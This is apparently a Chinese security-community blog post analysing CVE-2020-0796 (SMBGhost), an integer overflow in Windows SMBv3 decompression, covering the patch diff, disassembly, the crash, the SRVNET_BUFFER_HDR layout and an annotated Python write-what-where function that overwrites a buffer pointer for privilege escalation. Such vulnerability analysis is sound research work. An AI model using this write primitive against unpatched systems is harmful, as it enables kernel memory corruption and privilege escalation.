CVE-2020-0796漏洞分析
挖洞是不可能挖洞的,IDA又不会用,只能跟团长一起在对比一些微软出的补丁,捡点垃圾用用这样子。 --圈子社区 二进制组 Rumsfeld
2020年03月10日,Microsoft透露了一个SMB v3协议漏洞。
2020年03月12日, Microsoft出对应的补丁。
漏洞命名:SMB Ghost CVE-2020-0796
Microsoft Server Message Block 3.1.1(SMBv3)协议处理某些请求的方式中存在远程执行代码漏洞,可以在目标SMB服务器或客户端上执行代码。
为了利用针对服务器的漏洞,未经身份验证的攻击者可以将特制数据包发送到目标SMBv3服务器;若要利用针对客户端的漏洞,未经身份验证的攻击者将需要配置恶意的SMBv3服务器,并诱使用户连接到该服务器。
常用于渗透测试的提权操作多一些目前很多RCE Exp并不稳定。
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
只影响 SMB v3.1.1,1903和1909
漏洞文件:srv2.sys
漏洞函数:Srv2DecompressData
漏洞类型:整数溢出导致任意代码写入
漏洞函数说明:该函数负责申请内存并且,进行解压复制到申请内存空间。
漏洞原因:因为对长度没有进行校验,导致攻击者长度传入0xffffffff,偏移0x10.漏洞函数会对两者进行相加导致整数溢出
修复差异:检查长度并加入RtlULongAdd进行检测。
我们看一下旧版本和新版本补丁区别
发现加入了RtlULongAdd校验
分别对OriginalCompressedSegmentSize
和Offset进行校验相加是否存在整数溢出情况
主要是基于SMB2 COMPRESSION TRANSFORM HEADER进行利用。
参考:SMB2 COMPRESSION TRANSFORM HEADER[1]
发现SrvNetAllocateBuffer调用前并没有进行参数校验。
PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer(
(ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset),
NULL);
直接进行相加,导致了整数溢出。如下反汇编代码
xor edx, edx
shr rax, 20h
shr rcx, 20h
add ecx, eax //漏洞关键点
call cs:SrvNetAllocateBuffe
我们直接运行POC,看看add ecx,eax执行前后区别。
前
后
然后g后,发现recv超时了。
但是系统直接崩溃了
我们查看一下调用栈。
发现崩溃是RtlDecompressBufferXpressLz里面的qmemcpy发生溢出。
这里我直接参考CVE-2020-0796 LPE 分析[2] 我们先看看函数内部。
PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
// ...
if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) {
if (AllocSize > 0x1000100) { //16M
return NULL;
}
Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize);
} else {
int LookasideListIndex = 0;
if (AllocSize > 0x1100) {
LookasideListIndex = /* some calculation based on AllocSize */;
}
SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex];
Result = /* fetch result from list */;
}
// Initialize some Result fields...
return Result;
}
在SrvNetAllocateBuffer中主要是判断根据申请堆的大小来从 SrvNetBufferLookasides堆链表中返回堆或从
SrvNetAllocateBufferFromPool中申请堆,并初始化堆的一些数据结构。poc中申请的堆大小为OriginalCompressedSegmentSize+Offset=0xffffffff+0x18=0x17,
SrvNetBufferLookasides会返回idx=0即SrvNetBufferLookasides[0]的堆,Windows下计算lookasides堆大小的方式为
>>> [hex((1 << (i + 12)) + 256) for i in range(9)]
[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]
值得注意的是,这里SrvNetBufferLookasides是调用SrvNetAllocateBufferFromPool进行的初始化,最后返回一个名为SRVNET_BUFFER_HDR 结构体
struct SRVNET_BUFFER_HDR {
/*00*/ LIST_ENTRY ConnectionBufferList;
/*10*/ WORD BufferFlags; // 0x01 - no transport header, 0x02 - part of a lookaside list
/*12*/ WORD LookasideListIndex; // 0 to 8
/*14*/ WORD LookasideListLogicalProcessor;
/*16*/ WORD TracingDataCount; // 0, 1 or 2, for TracingPtr1/2, TracingUnknown1/2
/*18*/ PBYTE UserBufferPtr; // 重点
/*20*/ DWORD UserBufferSizeAllocated;
/*24*/ DWORD UserBufferSizeUsed;
/*28*/ DWORD PoolAllocationSize;
/*2C*/ BYTE unknown1[4];
/*30*/ PBYTE PoolAllocationPtr;
/*38*/ PMDL pMdl1;
/*40*/ DWORD BytesProcessed;
/*44*/ BYTE unknown2[4];
/*48*/ SIZE_T BytesReceived;
/*50*/ PMDL pMdl2;
/*58*/ PVOID pSrvNetWskStruct;
/*60*/ DWORD SmbFlags;
/*64*/ PVOID TracingPtr1;
/*6C*/ SIZE_T TracingUnknown1;
/*74*/ PVOID TracingPtr2;
/*7C*/ SIZE_T TracingUnknown2;
/*84*/ BYTE unknown3[12];
};
咱们重点0x18偏移处的UserBufferPtr就行了。
然后这是申请后的内存结构。长度为1150。当然不包含下面SRVNET_BUFFER_HDR结构体。
(User Buffer长度为1100)
正常的函数流程是申请内存后,对压缩数据进行解压,然后复制到USER BUFFER里面。
我们看看解压函数,其实看参数就行可以了。
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
我们发现它拿Compressed SMB3 data数据段Offset偏移处的数据进行解压,存放在User Buffer(User Buffer Ptr)+Offset。然后使用memmove复制RAW_DATA记住这个User Buffer Ptr,和Offset
但是,解压长度是OriginalCompressedSegmentSize。这也很致命,本来长度已经出问题了。这下好了解压数据可以小于0xffffffff,这样子,如果我们传入超出限制长度的数据,那么会直接导致内存溢出。但是我们再看看Srv2DecompressData函数内部,发现最后有一个memmove这个函数写入的地址是UserBufferPtr。
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
这个意味什么,User Buffer Ptr下面就是SRVNET_BUFFER_HDR,如果我们解压数据把User Buffer Ptr覆盖了再往下覆盖就能覆盖到SRVNET_BUFFER_HDR,那么不就直接可以控制了这个memmove写入的地址。这个memmove还有一个问题,写入的内容是(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),也就是Compressed SMB3 data,长度是Offset。
我再梳理一下,这个压缩数据是在Compressed SMB3 data+Offst,Compressed SMB3 data到Compressed SMB3 data+Offse就是memmove写入的数据。那么就形成了一个任意内存地址写入漏洞。
原理如下。
我们将OriginalCompressedSegmentSize设置为0xffffffff,Offset(写入长度就是0xf)设置为0x10。那么溢出了申请长度为0xf。(这个申请对利用过程只是起到溢出作用)
参考以下代码,注意注释内容
def write_what_where(ip_address, payload, address):
# 0x1100 bytes minus the data to write.
# Send random bytes for bad compression.
# Minimum payload size must be 16 bytes, otherwise packet is dropped.
#为解压数据是放在User Buffer,这个内存到SRVNET_BUFFER_HDR长度为0x1100
#然后-Offset长度。主要是解压数据存储是从Offset偏移开始,这处于User Buffer里面+Offset所以减去Offset。
data_to_compress = os.urandom(0x1100 - len(payload))
#现在内存已经到达SRVNET_BUFFER_HDR,我们抵达UserBufferPtr还有0x18位,那么先放0x18个0x0
# 0x18 null bytes that override the struct.
data_to_compress += b'\x00'*0x18
# Target address.
#将UserBufferPtr指向目标地址,一旦执行完成就会指向目标地址,不会是User Buffer
data_to_compress += struct.pack('<Q', address)
#将溢出数据进行压缩并且和Payload拼合,pyaload不要加密。
#这时整个packet长度为0x1100 + SRVNET_BUFFER_HDR覆盖数据 18+8(指针长度为8)
data = payload + compress(data_to_compress)
offset = len(what)
return connect_and_send_compressed(ip_address, data, offset, -1)
目前网上用的LPE就是直接使用这种方法直接修改进程Token+40的值,进行提权。
https://paper.seebug.org/1346/
https://blog.zecops.com/research/smbleedingghost-writeup-part-iii-from-remote-read-smbleed-to-rce/
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/793db6bb-25b4-4469-be49-a8d7045ba3a6
https://www.anquanke.com/post/id/215953
[1]
SMB2 COMPRESSION TRANSFORM HEADER: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/793db6bb-25b4-4469-be49-a8d7045ba3a6[2]
CVE-2020-0796 LPE 分析: https://www.anquanke.com/post/id/215953
最新的RDP的RCE洞已研究出了一点成果,不日跟各位大佬分享哦。
想加入二进制研究一起捡垃圾的大佬们,请联系团长大大。
文章原文:https://www.secquan.org/0x001/1072393
扫码关注|一手干货
汇聚新锐
共同进步
投稿加入:
webmaster
@secquan.org